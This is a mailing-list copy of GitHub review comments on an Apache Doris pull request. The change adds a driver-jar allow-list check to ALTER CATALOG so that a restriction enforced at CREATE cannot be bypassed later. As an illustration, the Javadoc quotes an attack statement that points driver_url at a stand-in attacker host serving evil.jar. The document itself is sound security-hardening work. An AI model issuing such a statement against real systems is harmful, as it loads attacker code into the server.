CalvinKirs commented on code in PR #68129:
URL: https://github.com/apache/doris/pull/68129#discussion_r4035131270
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar")}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
+ Map<String, String> updatedProperties) throws DdlException {
+ DriverUrlKeys keys = driverUrlKeysOf(getType());
+ if (keys == null) {
+ return;
+ }
+ // Only an ALTER that touches a driver-url key (or the flavor key that
can bring a stored one
+ // to life) can repoint the loaded jar; a stored value was gated at
its own CREATE/ALTER time.
+ // Re-resolving an untouched value here would also re-run
getFullDriverUrl's file-existence /
+ // cloud-download side effects under CatalogMgr's write lock on every
unrelated ALTER, and
+ // would let a since-tightened allow-list fail ALTERs that change
nothing about the jar.
+ boolean touched =
keys.urlKeys.stream().anyMatch(updatedProperties::containsKey)
+ || (keys.flavorKey != null &&
updatedProperties.containsKey(keys.flavorKey));
+ if (!touched) {
+ return;
+ }
+ if (keys.flavorKey != null
+ &&
!"jdbc".equalsIgnoreCase(candidate.getOrDefault(keys.flavorKey, ""))) {
+ // A driver_url on a REST/HMS/filesystem catalog stays the dead
config it always was.
+ return;
+ }
+ for (String key : keys.urlKeys) {
+ String driverUrl = candidate.get(key);
+ if (driverUrl == null || driverUrl.trim().isEmpty()) {
+ continue;
+ }
+ try {
+ // The mandatory rule normally runs inside the connector's
property holder; repeated
+ // here so a degraded catalog whose plugin is absent (provider
validation silently
+ // no-ops) still cannot be repointed at a traversal /
non-bare-name jar, and so the
+ // rule holds even under jdbc_driver_secure_path=* (which
getFullDriverUrl accepts
+ // wholesale).
+ JdbcDriverUrlSecurity.check(driverUrl);
+ JdbcResource.getFullDriverUrl(driverUrl);
+ } catch (Exception e) {
+ // getFullDriverUrl throws IllegalArgumentException for policy
rejections but also bare
+ // RuntimeException for a missing/undownloadable bare-name
jar; every failure must become
+ // the DdlException this validation hook promises.
+ throw new DdlException(e.getMessage(), e);
+ }
+ }
+ }
+
+ /** One row of the driver-jar key table: which properties name the jar,
live under which flavor key. */
+ private static final class DriverUrlKeys {
+ /** The properties whose value the connector hands to a class loader,
documented aliases included. */
+ final List<String> urlKeys;
+ /** The key whose candidate value must be "jdbc" for the urlKeys to be
live; null = always live. */
+ final String flavorKey;
+
+ DriverUrlKeys(String flavorKey, String... urlKeys) {
+ this.flavorKey = flavorKey;
+ this.urlKeys = Arrays.asList(urlKeys);
+ }
+ }
+
+ /**
+ * The driver-jar properties of the three jdbc-flavored catalog types,
spelled out here because the
+ * fe.conf policy is the engine's to apply while the keys belong to the
connectors, and widening the
+ * plugin SPI for three constants is not worth a plugin API major bump.
The keys are the user-facing
+ * property names (with their documented aliases), which are wire-stable.
This single table drives
+ * BOTH halves of the gate — the trigger set (urlKeys plus flavorKey: the
changes that can repoint
+ * the loaded jar) and the values that get checked — so the two can never
drift apart. Owners:
+ * JdbcCatalogProperties, IcebergJdbcMetaStoreProperties,
PaimonJdbcMetaStoreProperties. A new
+ * consumer of a jdbc-flavored driver_url adds its row here and nowhere
else (see the "Remote
+ * Artifacts and Dynamic Code Loading" section of AGENTS.md).
+ */
+ private static DriverUrlKeys driverUrlKeysOf(String catalogType) {
Review Comment:
Single table by design: an earlier revision had separate trigger-key and
checked-key tables, and a reviewer pass showed they could silently drift (a key
added to one but not the other would make the gate never fire for it, with no
error). Both halves now derive from this one place. The keys were compared
letter-for-letter against the owning holders' `@ConnectorProperty`
declarations; they are user-facing, wire-stable property names, which is also
why hardcoding three rows here was preferred over widening the connector plugin
SPI (and bumping the plugin API major) for three constants.
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar")}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
Review Comment:
Two review findings shaped this method. (1) The touched-keys guard:
`getFullDriverUrl` is not a pure check - for a bare jar name it does
file-existence probing and, in cloud mode, a download
(`checkAndReturnDefaultDriverUrl`), and this whole method runs under
`CatalogMgr`'s global write lock (`alterCatalogProps` takes it around
`applyAlterCatalogProps`). Without the guard, every unrelated ALTER would
re-resolve the stored driver_url: IO under the lock, and a hard failure once
the operator tightens `jdbc_driver_secure_path` after the fact. A stored value
was already gated at its own CREATE/ALTER time. (2) `catch (Exception)` rather
than `IllegalArgumentException`: `checkAndReturnDefaultDriverUrl` throws bare
`RuntimeException` for a missing or undownloadable jar (JdbcResource.java, the
two throws in that method), which the narrower catch would leak past this
hook's DdlException contract. The in-loop `JdbcDriverUrlSecurity.check` is the
engine-side fallback: it keeps the mandatory r
ule alive for a degraded catalog whose plugin is absent (provider validation
silently no-ops there) and under `jdbc_driver_secure_path=*`, where
`getFullDriverUrl` accepts everything.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]